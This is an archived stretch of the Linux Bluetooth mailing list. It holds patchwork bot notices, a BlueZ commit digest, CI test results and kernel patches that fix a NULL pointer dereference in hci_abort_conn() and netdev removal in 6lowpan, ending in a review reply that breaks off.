Linux bluetooth development
 help / color / mirror / Atom feed
* Re: [PATCH RESEND] Bluetooth: btusb: Add new VID/PID 0x0489/0xe156 for MT7902
From: patchwork-bot+bluetooth @ 2026-06-15 18:10 UTC (permalink / raw)
  To: Kirill Shubin
  Cc: luiz.dentz, marcel, linux-bluetooth, linux-mediatek, sean.wang,
	sean.wang
In-Reply-To: <20260614141258.1011-1-kirill.kz.902@gmail.com>

Hello:

This patch was applied to bluetooth/bluetooth-next.git (master)
by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:

On Sun, 14 Jun 2026 17:12:58 +0300 you wrote:
> From: Sean Wang <sean.wang@mediatek.com>
> 
> Add VID 0489 & PID e156 for MediaTek MT7902 USB Bluetooth chip.
> 
> The information in /sys/kernel/debug/usb/devices about the Bluetooth
> device is listed as the below.
> 
> [...]

Here is the summary with links:
  - [RESEND] Bluetooth: btusb: Add new VID/PID 0x0489/0xe156 for MT7902
    https://git.kernel.org/bluetooth/bluetooth-next/c/5d31430fc208

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html



^ permalink raw reply

* Re: [PATCH v2] Bluetooth: hci_uart: clear HCI_UART_SENDING when write_work is canceled
From: patchwork-bot+bluetooth @ 2026-06-15 18:10 UTC (permalink / raw)
  To: Pauli Virtanen
  Cc: linux-bluetooth, marcel, luiz.dentz, 25181214217, linux-kernel,
	stable
In-Reply-To: <9fdead8517c36f37c0b23b7b60f590d735792cfa.1781375875.git.pav@iki.fi>

Hello:

This patch was applied to bluetooth/bluetooth-next.git (master)
by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:

On Sat, 13 Jun 2026 21:43:37 +0300 you wrote:
> HCI_UART_SENDING bit in tx_state means write_work is pending and blocks
> queueing it again.  Currently this bit is not cleared when canceling the
> work in hci_uart_close(), which blocks future writes when device is
> reopened later if write_work was pending.
> 
> Fix by clearing HCI_UART_SENDING when canceling the work.
> 
> [...]

Here is the summary with links:
  - [v2] Bluetooth: hci_uart: clear HCI_UART_SENDING when write_work is canceled
    https://git.kernel.org/bluetooth/bluetooth-next/c/3b7686310806

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html



^ permalink raw reply

* [bluez/bluez] 237d4d: shared/bap: Transition ASE to QoS Configured on CI...
From: Šimon Mikuda @ 2026-06-15 18:09 UTC (permalink / raw)
  To: linux-bluetooth

  Branch: refs/heads/master
  Home:   https://github.com/bluez/bluez
  Commit: 237d4d5d20a556ea11f6cf5d0013884a0a70962e
      https://github.com/bluez/bluez/commit/237d4d5d20a556ea11f6cf5d0013884a0a70962e
  Author: Simon Mikuda <simon.mikuda@streamunlimited.com>
  Date:   2026-06-15 (Mon, 15 Jun 2026)

  Changed paths:
    M src/shared/bap.c

  Log Message:
  -----------
  shared/bap: Transition ASE to QoS Configured on CIS loss

stream_io_disconnected() only handled the Releasing state, leaving
Enabling, Streaming and Disabling ASEs stuck when the CIS was lost
unexpectedly.

The ASE shall autonomously move to QoS Configured on loss of the
CIS and notify the peer

Fixes PTS test BAP/USR/SCC/BV-167-C


  Commit: 986e220b77ea7803af0279200db7b011667302d7
      https://github.com/bluez/bluez/commit/986e220b77ea7803af0279200db7b011667302d7
  Author: Simon Mikuda <simon.mikuda@streamunlimited.com>
  Date:   2026-06-15 (Mon, 15 Jun 2026)

  Changed paths:
    M unit/test-bap.c

  Log Message:
  -----------
  unit/bap: Add CIS loss test

Verify a Source ASE in the Enabling state transitions to QoS Configured
rather than Disabling when its CIS is lost.

Assisted-by: ClaudeCode:claude-opus-4.8


  Commit: bd9eac15a27ac2eb14f9b2f69d046088d687bfa3
      https://github.com/bluez/bluez/commit/bd9eac15a27ac2eb14f9b2f69d046088d687bfa3
  Author: Pauli Virtanen <pav@iki.fi>
  Date:   2026-06-15 (Mon, 15 Jun 2026)

  Changed paths:
    M profiles/audio/media.c

  Log Message:
  -----------
  media: use custom DBus timeouts only when remote side is waiting

Under high system load (VM instance on boot) it's observed the 3 sec
timeout BlueZ uses for BAP broadcast SetConfiguration may be missed by
Wireplumber, as these are set up immediately on startup together with
any other setup (eg ALSA) that may need time.

There's no actual need for using a short custom timeout in BlueZ for
this, as in this case there is no remote side that is waiting for a reply.

Fix by limiting custom timeouts to cases where there is a waiting
remote, and use separate defines for A2DP and BAP.


  Commit: 9c36e4189e32f4b8ab1376749dda4b97e71af9af
      https://github.com/bluez/bluez/commit/9c36e4189e32f4b8ab1376749dda4b97e71af9af
  Author: Simon Mikuda <simon.mikuda@streamunlimited.com>
  Date:   2026-06-15 (Mon, 15 Jun 2026)

  Changed paths:
    M src/gatt-database.c

  Log Message:
  -----------
  gatt-database: Prefer notifications over indications

When both notifications and indications are enabled (CCC value=0x0003)
we will send notifications by default.


Compare: https://github.com/bluez/bluez/compare/40f2e34b3739...9c36e4189e32

To unsubscribe from these emails, change your notification settings at https://github.com/bluez/bluez/settings/notifications

^ permalink raw reply

* RE: [v6,1/2] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
From: bluez.test.bot @ 2026-06-15 17:04 UTC (permalink / raw)
  To: linux-bluetooth, oss
In-Reply-To: <20260615153527.1583705-1-oss@fourdim.xyz>

[-- Attachment #1: Type: text/plain, Size: 2794 bytes --]

This is automated email and please do not reply to this email!

Dear submitter,

Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1111791

---Test result---

Test Summary:
CheckPatch                    PASS      1.82 seconds
VerifyFixes                   PASS      0.09 seconds
VerifySignedoff               PASS      0.09 seconds
GitLint                       PASS      0.47 seconds
SubjectPrefix                 PASS      0.16 seconds
BuildKernel                   PASS      26.58 seconds
CheckAllWarning               PASS      28.89 seconds
CheckSparse                   PASS      27.60 seconds
BuildKernel32                 PASS      25.49 seconds
TestRunnerSetup               PASS      571.42 seconds
TestRunner_l2cap-tester       PASS      58.94 seconds
TestRunner_iso-tester         PASS      96.66 seconds
TestRunner_bnep-tester        PASS      30.75 seconds
TestRunner_mgmt-tester        FAIL      207.20 seconds
TestRunner_rfcomm-tester      PASS      30.92 seconds
TestRunner_sco-tester         PASS      31.50 seconds
TestRunner_ioctl-tester       PASS      26.69 seconds
TestRunner_mesh-tester        FAIL      25.83 seconds
TestRunner_smp-tester         PASS      22.80 seconds
TestRunner_userchan-tester    PASS      19.22 seconds
TestRunner_6lowpan-tester     FAIL      45.81 seconds
IncrementalBuild              PASS      43.45 seconds

Details
##############################
Test: TestRunner_mgmt-tester - FAIL
Desc: Run mgmt-tester with test-runner
Output:
Total: 494, Passed: 489 (99.0%), Failed: 1, Not Run: 4

Failed Test Cases
Read Exp Feature - Success                           Failed       0.234 seconds
##############################
Test: TestRunner_mesh-tester - FAIL
Desc: Run mesh-tester with test-runner
Output:
Total: 10, Passed: 8 (80.0%), Failed: 2, Not Run: 0

Failed Test Cases
Mesh - Send cancel - 1                               Timed out    2.808 seconds
Mesh - Send cancel - 2                               Timed out    1.989 seconds
##############################
Test: TestRunner_6lowpan-tester - FAIL
Desc: Run 6lowpan-tester with test-runner
Output:
Total: 8, Passed: 3 (37.5%), Failed: 5, Not Run: 0

Failed Test Cases
Client Connect - Disconnect                          Timed out    5.480 seconds
Client Recv Dgram - Success                          Timed out    4.991 seconds
Client Recv Raw - Success                            Timed out    4.993 seconds
Client Recv IPHC Dgram - Success                     Timed out    4.999 seconds
Client Recv IPHC Raw - Success                       Timed out    4.993 seconds


https://github.com/bluez/bluetooth-next/pull/318

---
Regards,
Linux Bluetooth


^ permalink raw reply

* RE: [v2] Bluetooth: 6lowpan: Fix using chan->conn as indication to no remote netdev
From: bluez.test.bot @ 2026-06-15 16:55 UTC (permalink / raw)
  To: linux-bluetooth, luiz.dentz
In-Reply-To: <20260615152948.776154-1-luiz.dentz@gmail.com>

[-- Attachment #1: Type: text/plain, Size: 1946 bytes --]

This is automated email and please do not reply to this email!

Dear submitter,

Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1111788

---Test result---

Test Summary:
CheckPatch                    FAIL      0.67 seconds
VerifyFixes                   PASS      0.11 seconds
VerifySignedoff               PASS      0.11 seconds
GitLint                       PASS      0.29 seconds
SubjectPrefix                 PASS      0.11 seconds
BuildKernel                   PASS      26.71 seconds
CheckAllWarning               PASS      29.48 seconds
CheckSparse                   PASS      28.54 seconds
BuildKernel32                 PASS      26.28 seconds
TestRunnerSetup               PASS      588.05 seconds
TestRunner_6lowpan-tester     PASS      22.78 seconds
IncrementalBuild              PASS      40.30 seconds

Details
##############################
Test: CheckPatch - FAIL
Desc: Run checkpatch.pl script
Output:
[v2] Bluetooth: 6lowpan: Fix using chan->conn as indication to no remote netdev
ERROR: Please use git commit description style 'commit <12+ chars of sha1> ("<title line>")' - ie: 'commit b66774b48dd9 ("Bluetooth: L2CAP: Fix UAF in channel timeout by holding conn ref")'
#98: 
b66774b48dd9 ("Bluetooth: L2CAP: Fix UAF in channel timeout by holding

total: 1 errors, 0 warnings, 0 checks, 33 lines checked

NOTE: For some of the reported defects, checkpatch may be able to
      mechanically convert to the typical style using --fix or --fix-inplace.

/github/workspace/src/patch/14629714.patch has style problems, please review.

NOTE: Ignored message types: UNKNOWN_COMMIT_ID

NOTE: If any of the errors are false positives, please report
      them to the maintainer, see CHECKPATCH in MAINTAINERS.




https://github.com/bluez/bluetooth-next/pull/317

---
Regards,
Linux Bluetooth


^ permalink raw reply

* [PATCH v6 2/2] Bluetooth: hci_sync: Remove unused hci_cmd_sync_dequeue_once()
From: Siwei Zhang @ 2026-06-15 15:33 UTC (permalink / raw)
  To: Luiz Augusto von Dentz, Pauli Virtanen, XIAO WU
  Cc: linux-bluetooth, Siwei Zhang
In-Reply-To: <20260615153527.1583705-1-oss@fourdim.xyz>

hci_cmd_sync_dequeue_once() had a single in-tree caller,
hci_cancel_connect_sync(), which now holds cmd_sync_work_lock across the
in-flight create flag test and the dequeue and so open-codes the lookup
and cancel under that lock. That leaves the exported
hci_cmd_sync_dequeue_once() with no in-tree user, so remove it along with
its declaration.

Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
---
 include/net/bluetooth/hci_sync.h |  3 ---
 net/bluetooth/hci_sync.c         | 26 --------------------------
 2 files changed, 29 deletions(-)

diff --git a/include/net/bluetooth/hci_sync.h b/include/net/bluetooth/hci_sync.h
index 73e494b2591d..818e62d9fe9e 100644
--- a/include/net/bluetooth/hci_sync.h
+++ b/include/net/bluetooth/hci_sync.h
@@ -84,9 +84,6 @@ void hci_cmd_sync_cancel_entry(struct hci_dev *hdev,
 			       struct hci_cmd_sync_work_entry *entry);
 bool hci_cmd_sync_dequeue(struct hci_dev *hdev, hci_cmd_sync_work_func_t func,
 			  void *data, hci_cmd_sync_work_destroy_t destroy);
-bool hci_cmd_sync_dequeue_once(struct hci_dev *hdev,
-			      hci_cmd_sync_work_func_t func, void *data,
-			      hci_cmd_sync_work_destroy_t destroy);
 
 int hci_update_eir_sync(struct hci_dev *hdev);
 int hci_update_class_sync(struct hci_dev *hdev);
diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
index a3df69bdec1e..753198b401ac 100644
--- a/net/bluetooth/hci_sync.c
+++ b/net/bluetooth/hci_sync.c
@@ -860,32 +860,6 @@ void hci_cmd_sync_cancel_entry(struct hci_dev *hdev,
 }
 EXPORT_SYMBOL(hci_cmd_sync_cancel_entry);
 
-/* Dequeue one HCI command entry:
- *
- * - Lookup and cancel first entry that matches.
- */
-bool hci_cmd_sync_dequeue_once(struct hci_dev *hdev,
-			       hci_cmd_sync_work_func_t func,
-			       void *data, hci_cmd_sync_work_destroy_t destroy)
-{
-	struct hci_cmd_sync_work_entry *entry;
-
-	mutex_lock(&hdev->cmd_sync_work_lock);
-
-	entry = _hci_cmd_sync_lookup_entry(hdev, func, data, destroy);
-	if (!entry) {
-		mutex_unlock(&hdev->cmd_sync_work_lock);
-		return false;
-	}
-
-	_hci_cmd_sync_cancel_entry(hdev, entry, -ECANCELED);
-
-	mutex_unlock(&hdev->cmd_sync_work_lock);
-
-	return true;
-}
-EXPORT_SYMBOL(hci_cmd_sync_dequeue_once);
-
 /* Dequeue HCI command entry:
  *
  * - Lookup and cancel any entry that matches by function callback or data or
-- 
2.54.0


^ permalink raw reply related

* [PATCH v6 1/2] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
From: Siwei Zhang @ 2026-06-15 15:33 UTC (permalink / raw)
  To: Luiz Augusto von Dentz, Pauli Virtanen, XIAO WU
  Cc: linux-bluetooth, Siwei Zhang

hci_abort_conn() read hci_skb_event(hdev->sent_cmd) when a connection
was pending, but hdev->sent_cmd can be NULL while req_status is still
HCI_REQ_PEND, leading to a NULL pointer dereference and a general
protection fault from the hci_rx_work() receive path.

Instead of inspecting hdev->sent_cmd, track the in-flight create
connection command with a new per-connection HCI_CONN_CREATE flag and
route all cancellation through hci_cancel_connect_sync(), which
dispatches to a dedicated per-type cancel function. The create command
is in exactly one of two states: still queued, or in flight. The cancel
function holds cmd_sync_work_lock across the whole decision: the worker
takes this lock to dequeue every entry, so while it is held a queued
command cannot start running and an in-flight command cannot complete
and let the next command become pending. This keeps the flag test and
hci_cmd_sync_cancel() atomic with respect to the worker, so a queued
command is simply dequeued, and an in-flight command owned by this
connection is cancelled without the risk of cancelling an unrelated
command that became pending in the meantime. CIS uses the same flag
mechanism via HCI_CONN_CREATE_CIS but cannot be dequeued per-connection.

hci_acl_create_conn_sync() and hci_le_create_conn_sync() clear
HCI_CONN_CREATE after the create command completes, but the command
status handler can free conn via hci_conn_del() (for example when the
controller rejects the connection) while the worker is still blocked on
the connection complete event. Hold a reference on conn across the
create command so the flag can be cleared without a use-after-free.

Fixes: a13f316e90fd ("Bluetooth: hci_conn: Consolidate code for aborting connections")
Cc: stable@vger.kernel.org
Suggested-by: XIAO WU <xiaowu.417@qq.com>
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
---
 include/net/bluetooth/hci_core.h |   1 +
 net/bluetooth/hci_conn.c         |  21 +----
 net/bluetooth/hci_sync.c         | 133 +++++++++++++++++++++++++++----
 3 files changed, 123 insertions(+), 32 deletions(-)

diff --git a/include/net/bluetooth/hci_core.h b/include/net/bluetooth/hci_core.h
index aa600fbf9a53..aa554c34f9ec 100644
--- a/include/net/bluetooth/hci_core.h
+++ b/include/net/bluetooth/hci_core.h
@@ -988,6 +988,7 @@ enum {
 	HCI_CONN_AUTH_FAILURE,
 	HCI_CONN_PER_ADV,
 	HCI_CONN_BIG_CREATED,
+	HCI_CONN_CREATE,
 	HCI_CONN_CREATE_CIS,
 	HCI_CONN_CREATE_BIG_SYNC,
 	HCI_CONN_BIG_SYNC,
diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
index 54eabaa46960..eba4a548bef5 100644
--- a/net/bluetooth/hci_conn.c
+++ b/net/bluetooth/hci_conn.c
@@ -3181,26 +3181,11 @@ int hci_abort_conn(struct hci_conn *conn, u8 reason)
 
 	conn->abort_reason = reason;
 
-	/* If the connection is pending check the command opcode since that
-	 * might be blocking on hci_cmd_sync_work while waiting its respective
-	 * event so we need to hci_cmd_sync_cancel to cancel it.
-	 *
-	 * hci_connect_le serializes the connection attempts so only one
-	 * connection can be in BT_CONNECT at time.
+	/* Cancel the connect attempt. A return of 0 means the create command
+	 * was still queued and got dequeued, so there is nothing to disconnect.
 	 */
-	if (conn->state == BT_CONNECT && READ_ONCE(hdev->req_status) == HCI_REQ_PEND) {
-		switch (hci_skb_event(hdev->sent_cmd)) {
-		case HCI_EV_CONN_COMPLETE:
-		case HCI_EV_LE_CONN_COMPLETE:
-		case HCI_EV_LE_ENHANCED_CONN_COMPLETE:
-		case HCI_EVT_LE_CIS_ESTABLISHED:
-			hci_cmd_sync_cancel(hdev, ECANCELED);
-			break;
-		}
-	/* Cancel connect attempt if still queued/pending */
-	} else if (!hci_cancel_connect_sync(hdev, conn)) {
+	if (!hci_cancel_connect_sync(hdev, conn))
 		return 0;
-	}
 
 	/* Run immediately if on cmd_sync_work since this may be called
 	 * as a result to MGMT_OP_DISCONNECT/MGMT_OP_UNPAIR which does
diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
index df23245d6ccd..a3df69bdec1e 100644
--- a/net/bluetooth/hci_sync.c
+++ b/net/bluetooth/hci_sync.c
@@ -6611,6 +6611,11 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
 
 	bt_dev_dbg(hdev, "conn %p", conn);
 
+	/* Hold a reference so conn stays valid for the HCI_CONN_CREATE
+	 * clear_bit() at done.
+	 */
+	hci_conn_get(conn);
+
 	clear_bit(HCI_CONN_SCANNING, &conn->flags);
 	conn->state = BT_CONNECT;
 
@@ -6623,6 +6628,7 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
 		    hdev->le_scan_type == LE_SCAN_ACTIVE &&
 		    !hci_dev_test_flag(hdev, HCI_LE_SIMULTANEOUS_ROLES)) {
 			hci_conn_del(conn);
+			hci_conn_put(conn);
 			return -EBUSY;
 		}
 
@@ -6668,6 +6674,12 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
 					     &own_addr_type);
 	if (err)
 		goto done;
+
+	/* Mark create connection in flight so hci_cancel_connect_sync() can
+	 * cancel it while blocking on the connection complete event.
+	 */
+	set_bit(HCI_CONN_CREATE, &conn->flags);
+
 	/* Send command LE Extended Create Connection if supported */
 	if (use_ext_conn(hdev)) {
 		err = hci_le_ext_create_conn_sync(hdev, conn, own_addr_type);
@@ -6703,11 +6715,14 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
 				       conn->conn_timeout, NULL);
 
 done:
+	clear_bit(HCI_CONN_CREATE, &conn->flags);
+
 	if (err == -ETIMEDOUT)
 		hci_le_connect_cancel_sync(hdev, conn, 0x00);
 
 	/* Re-enable advertising after the connection attempt is finished. */
 	hci_resume_advertising_sync(hdev);
+	hci_conn_put(conn);
 	return err;
 }
 
@@ -6982,10 +6997,25 @@ static int hci_acl_create_conn_sync(struct hci_dev *hdev, void *data)
 	else
 		cp.role_switch = 0x00;
 
-	return __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
-					sizeof(cp), &cp,
-					HCI_EV_CONN_COMPLETE,
-					conn->conn_timeout, NULL);
+	/* Hold a reference so conn stays valid for the HCI_CONN_CREATE
+	 * clear_bit() below.
+	 */
+	hci_conn_get(conn);
+
+	/* Mark create connection in flight so hci_cancel_connect_sync() can
+	 * cancel it while blocking on the connection complete event.
+	 */
+	set_bit(HCI_CONN_CREATE, &conn->flags);
+
+	err = __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
+				       sizeof(cp), &cp,
+				       HCI_EV_CONN_COMPLETE,
+				       conn->conn_timeout, NULL);
+
+	clear_bit(HCI_CONN_CREATE, &conn->flags);
+	hci_conn_put(conn);
+
+	return err;
 }
 
 int hci_connect_acl_sync(struct hci_dev *hdev, struct hci_conn *conn)
@@ -7037,22 +7067,97 @@ int hci_connect_le_sync(struct hci_dev *hdev, struct hci_conn *conn)
 	return (err == -EEXIST) ? 0 : err;
 }
 
-int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
+static int hci_acl_cancel_create_conn_sync(struct hci_dev *hdev,
+					   struct hci_conn *conn)
 {
-	if (conn->state != BT_OPEN)
-		return -EINVAL;
+	struct hci_cmd_sync_work_entry *entry;
+	int err = -EBUSY;
+
+	/* cmd_sync_work_lock makes the HCI_CONN_CREATE test and the cancel
+	 * atomic against the worker, which takes this lock to dequeue every
+	 * entry: while it is held no other command can become pending, so
+	 * hci_cmd_sync_cancel() cannot cancel an unrelated command.
+	 */
+	mutex_lock(&hdev->cmd_sync_work_lock);
+
+	/* In flight: this connection owns the pending request, cancel it. */
+	if (test_bit(HCI_CONN_CREATE, &conn->flags)) {
+		hci_cmd_sync_cancel(hdev, ECANCELED);
+		goto unlock;
+	}
+
+	/* Still queued: a successful dequeue means it never started, so there
+	 * is nothing to disconnect.
+	 */
+	entry = _hci_cmd_sync_lookup_entry(hdev, hci_acl_create_conn_sync, conn,
+					   NULL);
+	if (entry) {
+		_hci_cmd_sync_cancel_entry(hdev, entry, -ECANCELED);
+		err = 0;
+	}
+
+unlock:
+	mutex_unlock(&hdev->cmd_sync_work_lock);
+	return err;
+}
+
+static int hci_le_cancel_create_conn_sync(struct hci_dev *hdev,
+					  struct hci_conn *conn)
+{
+	struct hci_cmd_sync_work_entry *entry;
+	int err = -EBUSY;
+
+	/* cmd_sync_work_lock keeps the HCI_CONN_CREATE test and the cancel
+	 * atomic against the cmd_sync worker.
+	 */
+	mutex_lock(&hdev->cmd_sync_work_lock);
 
+	if (test_bit(HCI_CONN_CREATE, &conn->flags)) {
+		hci_cmd_sync_cancel(hdev, ECANCELED);
+		goto unlock;
+	}
+
+	entry = _hci_cmd_sync_lookup_entry(hdev, hci_le_create_conn_sync, conn,
+					   create_le_conn_complete);
+	if (entry) {
+		_hci_cmd_sync_cancel_entry(hdev, entry, -ECANCELED);
+		err = 0;
+	}
+
+unlock:
+	mutex_unlock(&hdev->cmd_sync_work_lock);
+	return err;
+}
+
+static int hci_cis_cancel_create_conn_sync(struct hci_dev *hdev,
+					   struct hci_conn *conn)
+{
+	/* LE Create CIS is shared by the whole CIG and cannot be dequeued
+	 * per-connection, so only an in-flight command can be cancelled.
+	 * cmd_sync_work_lock keeps the test and the cancel atomic against the
+	 * cmd_sync worker.
+	 */
+	mutex_lock(&hdev->cmd_sync_work_lock);
+
+	if (test_bit(HCI_CONN_CREATE_CIS, &conn->flags))
+		hci_cmd_sync_cancel(hdev, ECANCELED);
+
+	mutex_unlock(&hdev->cmd_sync_work_lock);
+	return -EBUSY;
+}
+
+int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
+{
 	switch (conn->type) {
 	case ACL_LINK:
-		return !hci_cmd_sync_dequeue_once(hdev,
-						  hci_acl_create_conn_sync,
-						  conn, NULL);
+		return hci_acl_cancel_create_conn_sync(hdev, conn);
 	case LE_LINK:
-		return !hci_cmd_sync_dequeue_once(hdev, hci_le_create_conn_sync,
-						  conn, create_le_conn_complete);
+		return hci_le_cancel_create_conn_sync(hdev, conn);
+	case CIS_LINK:
+		return hci_cis_cancel_create_conn_sync(hdev, conn);
+	default:
+		return -ENOENT;
 	}
-
-	return -ENOENT;
 }
 
 int hci_le_conn_update_sync(struct hci_dev *hdev, struct hci_conn *conn,
-- 
2.54.0


^ permalink raw reply related

* [PATCH v2] Bluetooth: 6lowpan: Fix using chan->conn as indication to no remote netdev
From: Luiz Augusto von Dentz @ 2026-06-15 15:29 UTC (permalink / raw)
  To: linux-bluetooth

From: Luiz Augusto von Dentz <luiz.von.dentz@intel.com>

b66774b48dd9 ("Bluetooth: L2CAP: Fix UAF in channel timeout by holding
conn ref") don't reset the chan->conn to NULL anymore making the bt#
netdev not be remove once the last l2cap_chan_del is removed.

Instead of restoring the original behavior this remove the logic of
keeping the interface after the last channel is removed because it
never worked as intended and the l2cap_chan_del always detach its
l2cap_conn which results in always removing the channel anyway.

Fixes: b66774b48dd9 ("Bluetooth: L2CAP: Fix UAF in channel timeout by holding conn ref")
Signed-off-by: Luiz Augusto von Dentz <luiz.von.dentz@intel.com>
---
 net/bluetooth/6lowpan.c | 18 +++---------------
 1 file changed, 3 insertions(+), 15 deletions(-)

diff --git a/net/bluetooth/6lowpan.c b/net/bluetooth/6lowpan.c
index cb1e329d66fd..962e0e885105 100644
--- a/net/bluetooth/6lowpan.c
+++ b/net/bluetooth/6lowpan.c
@@ -797,20 +797,10 @@ static void chan_close_cb(struct l2cap_chan *chan)
 	struct lowpan_btle_dev *dev = NULL;
 	struct lowpan_peer *peer;
 	int err = -ENOENT;
-	bool last = false, remove = true;
+	bool last = false;
 
 	BT_DBG("chan %p conn %p", chan, chan->conn);
 
-	if (chan->conn && chan->conn->hcon) {
-		if (!is_bt_6lowpan(chan->conn->hcon))
-			return;
-
-		/* If conn is set, then the netdev is also there and we should
-		 * not remove it.
-		 */
-		remove = false;
-	}
-
 	spin_lock(&devices_lock);
 
 	list_for_each_entry_rcu(entry, &bt_6lowpan_devices, list) {
@@ -837,10 +827,8 @@ static void chan_close_cb(struct l2cap_chan *chan)
 
 		ifdown(dev->netdev);
 
-		if (remove) {
-			INIT_WORK(&entry->delete_netdev, delete_netdev);
-			schedule_work(&entry->delete_netdev);
-		}
+		INIT_WORK(&entry->delete_netdev, delete_netdev);
+		schedule_work(&entry->delete_netdev);
 	} else {
 		spin_unlock(&devices_lock);
 	}
-- 
2.54.0


^ permalink raw reply related

* Re: [PATCH BlueZ v2 1/2] shared/bap: Transition ASE to QoS Configured on CIS loss
From: patchwork-bot+bluetooth @ 2026-06-15 15:20 UTC (permalink / raw)
  To: Simon Mikuda; +Cc: linux-bluetooth
In-Reply-To: <20260614100208.1091560-1-simon.mikuda@streamunlimited.com>

Hello:

This series was applied to bluetooth/bluez.git (master)
by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:

On Sun, 14 Jun 2026 12:02:07 +0200 you wrote:
> stream_io_disconnected() only handled the Releasing state, leaving
> Enabling, Streaming and Disabling ASEs stuck when the CIS was lost
> unexpectedly.
> 
> The ASE shall autonomously move to QoS Configured on loss of the
> CIS and notify the peer
> 
> [...]

Here is the summary with links:
  - [BlueZ,v2,1/2] shared/bap: Transition ASE to QoS Configured on CIS loss
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=237d4d5d20a5
  - [BlueZ,v2,2/2] unit/bap: Add CIS loss test
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=986e220b77ea

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html



^ permalink raw reply

* Re: [PATCH BlueZ 2/2] gatt-database: Prefer notifications over indications
From: patchwork-bot+bluetooth @ 2026-06-15 15:20 UTC (permalink / raw)
  To: Simon Mikuda; +Cc: linux-bluetooth
In-Reply-To: <20260614102931.1133819-1-simon.mikuda@streamunlimited.com>

Hello:

This patch was applied to bluetooth/bluez.git (master)
by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:

On Sun, 14 Jun 2026 12:29:31 +0200 you wrote:
> When both notifications and indications are enabled (CCC value=0x0003)
> we will send notifications by default.
> ---
>  src/gatt-database.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)

Here is the summary with links:
  - [BlueZ,2/2] gatt-database: Prefer notifications over indications
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=9c36e4189e32

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html



^ permalink raw reply

* Re: [PATCH BlueZ v2] media: use custom DBus timeouts only when remote side is waiting
From: patchwork-bot+bluetooth @ 2026-06-15 15:20 UTC (permalink / raw)
  To: Pauli Virtanen; +Cc: linux-bluetooth
In-Reply-To: <499a2bfcdd6ed488104bad57b285ddc9c7788f7e.1781436012.git.pav@iki.fi>

Hello:

This patch was applied to bluetooth/bluez.git (master)
by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:

On Sun, 14 Jun 2026 14:22:23 +0300 you wrote:
> Under high system load (VM instance on boot) it's observed the 3 sec
> timeout BlueZ uses for BAP broadcast SetConfiguration may be missed by
> Wireplumber, as these are set up immediately on startup together with
> any other setup (eg ALSA) that may need time.
> 
> There's no actual need for using a short custom timeout in BlueZ for
> this, as in this case there is no remote side that is waiting for a reply.
> 
> [...]

Here is the summary with links:
  - [BlueZ,v2] media: use custom DBus timeouts only when remote side is waiting
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=bd9eac15a27a

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html



^ permalink raw reply

* Re: [PATCH v5 1/2] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
From: Siwei Zhang @ 2026-06-15 15:15 UTC (permalink / raw)
  To: Luiz Augusto von Dentz; +Cc: Pauli Virtanen, XIAO WU, linux-bluetooth
In-Reply-To: <CABBYNZLvSOHWQVmCX_T6wEXTPuS=JCii8Aujdh-C6Oo__1CGSw@mail.gmail.com>

Hi Luiz,

On Mon, Jun 15, 2026, at 11:11 AM, Luiz Augusto von Dentz wrote:
> Hi Siwei,
>
> On Mon, Jun 15, 2026 at 11:06 AM Siwei Zhang <oss@fourdim.xyz> wrote:
>>
>> Hi Luiz,
>>
>> On Mon, Jun 15, 2026, at 10:09 AM, Luiz Augusto von Dentz wrote:
>> > Hi Siwei,
>> >
>> > On Mon, Jun 15, 2026 at 9:12 AM Siwei Zhang <oss@fourdim.xyz> wrote:
>> >>
>> >> hci_abort_conn() read hci_skb_event(hdev->sent_cmd) when a connection
>> >> was pending, but hdev->sent_cmd can be NULL while req_status is still
>> >> HCI_REQ_PEND, leading to a NULL pointer dereference and a general
>> >> protection fault from the hci_rx_work() receive path.
>> >>
>> >> Instead of inspecting hdev->sent_cmd, track the in-flight create
>> >> connection command with a new per-connection HCI_CONN_CREATE flag and
>> >> route all cancellation through hci_cancel_connect_sync(). The create
>> >> command is in exactly one of two states: still queued, or in flight.
>> >> hci_cancel_connect_sync() holds cmd_sync_work_lock across the whole
>> >> decision: the worker takes this lock to dequeue every entry, so while it
>> >> is held a queued command cannot start running and an in-flight command
>> >> cannot complete and let the next command become pending. This keeps the
